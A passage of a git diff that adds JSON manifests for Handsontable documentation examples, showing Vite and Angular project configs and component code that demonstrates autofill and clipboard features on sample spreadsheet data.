install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/autofill-values/vue/example1.vue","breadcrumb":["Cell Features","Autofill values"],"guide":"guides/cell-features/autofill-values/autofill-values.md","guideTitle":"Autofill values","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/autofill-values","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__vue__example2.vue.json new file mode 100644 index 00000000..114930c1 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__vue__example2.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Autofill values · Autofill in a vertical direction only and creating new rows · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/autofill-values/vue/example2.vue","breadcrumb":["Cell Features","Autofill values"],"guide":"guides/cell-features/autofill-values/autofill-values.md","guideTitle":"Autofill values","exampleId":"example2","exampleTitle":"Autofill in a vertical direction only and creating new rows","docPermalink":"/autofill-values","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__vue__example3.vue.json new file mode 100644 index 00000000..ef023200 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__vue__example3.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Autofill values · Altering and tracking autofilled values · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example3\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/autofill-values/vue/example3.vue","breadcrumb":["Cell Features","Autofill values"],"guide":"guides/cell-features/autofill-values/autofill-values.md","guideTitle":"Autofill values","exampleId":"example3","exampleTitle":"Altering and tracking autofilled values","docPermalink":"/autofill-values","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__angular__example1.ts.json new file mode 100644 index 00000000..ceccf4a5 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Clipboard · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example1-clipboard',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = [\n ['Update API docs', 'Backend', 'In progress', 'Ana García', '2026-05-10'],\n ['Deploy hotfix', 'DevOps', 'Done', 'David Kim', '2026-04-02'],\n ['Write tests', 'QA', 'Blocked', 'Sara Johansson', '2026-05-20'],\n ['Review PRs', 'Backend', 'In progress', 'Li Wei', '2026-04-15'],\n ['Update README', 'Docs', 'Done', 'Emma Wilson', '2026-03-28'],\n ];\n\n readonly gridSettings: GridSettings ={\n rowHeaders: true,\n colHeaders: true,\n contextMenu: ['copy', 'cut'],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/clipboard/angular/example1.ts","breadcrumb":["Cell Features","Clipboard"],"guide":"guides/cell-features/clipboard/clipboard.md","guideTitle":"Clipboard","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/basic-clipboard","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__angular__example2.ts.json new file mode 100644 index 00000000..43de90a0 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__angular__example2.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Clipboard · Copy with headers · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example2-clipboard',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = [\n ['EMEA', 142000, 48, 168000, 53, 195000, 61, 221000, 72, 726000],\n ['APAC', 98000, 31, 115000, 38, 134000, 44, 158000, 52, 505000],\n ['AMER', 213000, 68, 247000, 79, 289000, 91, 334000, 108, 1083000],\n ['LATAM', 54000, 17, 63000, 20, 74000, 24, 87000, 28, 278000],\n ['MEA', 38000, 12, 44000, 14, 52000, 17, 61000, 20, 195000],\n ];\n\n readonly gridSettings: GridSettings = {\n contextMenu: true,\n copyPaste: {\n copyColumnHeaders: true,\n copyColumnGroupHeaders: true,\n copyColumnHeadersOnly: true,\n },\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n nestedHeaders: [\n [\n 'A',\n { label: 'B', colspan: 2 },\n { label: 'C', colspan: 2 },\n { label: 'D', colspan: 2 },\n { label: 'E', colspan: 2 },\n 'F',\n ],\n ['G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P'],\n ],\n autoWrapRow: true,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/clipboard/angular/example2.ts","breadcrumb":["Cell Features","Clipboard"],"guide":"guides/cell-features/clipboard/clipboard.md","guideTitle":"Clipboard","exampleId":"example2","exampleTitle":"Copy with headers","docPermalink":"/basic-clipboard","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__angular__example3.ts.json new file mode 100644 index 00000000..21c83c6f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__angular__example3.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Clipboard · Trigger copy & cut programmatically · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import {Component, ViewChild, ViewEncapsulation} from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example3-clipboard',\n standalone: true,\n imports: [HotTableModule],\n template: `\n
    \n
    \n \n Select and copy cell B2\n  \n \n
    \n
    \n
    \n \n
    `\n ,\n encapsulation: ViewEncapsulation.None\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, { static: false })\n readonly hotTable!: HotTableComponent;\n\n readonly data = [\n ['Update API docs', 'Backend', 'In progress', 'Ana García', '2026-05-10'],\n ['Deploy hotfix', 'DevOps', 'Done', 'David Kim', '2026-04-02'],\n ['Write tests', 'QA', 'Blocked', 'Sara Johansson', '2026-05-20'],\n ['Review PRs', 'Backend', 'In progress', 'Li Wei', '2026-04-15'],\n ['Update README', 'Docs', 'Done', 'Emma Wilson', '2026-03-28'],\n ];\n\n readonly gridSettings:GridSettings = {\n rowHeaders: true,\n colHeaders: true,\n outsideClickDeselects: false,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true\n };\n\n copyBtnClick(): void {\n document.execCommand('copy');\n }\n\n cutBtnClick(): void {\n document.execCommand('cut');\n }\n\n copyBtnMousedown(): void {\n const hot = this.hotTable?.hotInstance;\n\n hot?.selectCell(1, 1);\n }\n\n cutBtnMousedown(): void {\n const hot = this.hotTable?.hotInstance;\n\n hot?.selectCell(1, 1);\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/clipboard/angular/example3.ts","breadcrumb":["Cell Features","Clipboard"],"guide":"guides/cell-features/clipboard/clipboard.md","guideTitle":"Clipboard","exampleId":"example3","exampleTitle":"Trigger copy & cut programmatically","docPermalink":"/basic-clipboard","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__angular__example4.ts.json new file mode 100644 index 00000000..78e02424 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__angular__example4.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Clipboard · Copy cell appearance on paste · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild } from '@angular/core';\nimport Handsontable from 'handsontable/base';\nimport { GridSettings, HotTableComponent, HotTableModule } from '@handsontable/angular-wrapper';\n\ntype CopyRange = { startRow: number; startCol: number; endRow: number; endCol: number };\n\nfunction collectClassNames(hot: Handsontable, coords: CopyRange[]): string[][] {\n const source = coords[0];\n const classNames: string[][] = [];\n\n if (!source) {\n return classNames;\n }\n\n for (let row = source.startRow; row <= source.endRow; row += 1) {\n const rowClassNames: string[] = [];\n\n for (let col = source.startCol; col <= source.endCol; col += 1) {\n rowClassNames.push((hot.getCellMeta(row, col)['className'] as string | undefined) ?? '');\n }\n\n classNames.push(rowClassNames);\n }\n\n return classNames;\n}\n\n@Component({\n selector: 'example4-clipboard',\n standalone: true,\n imports: [HotTableModule],\n template: `\n
    \n \n
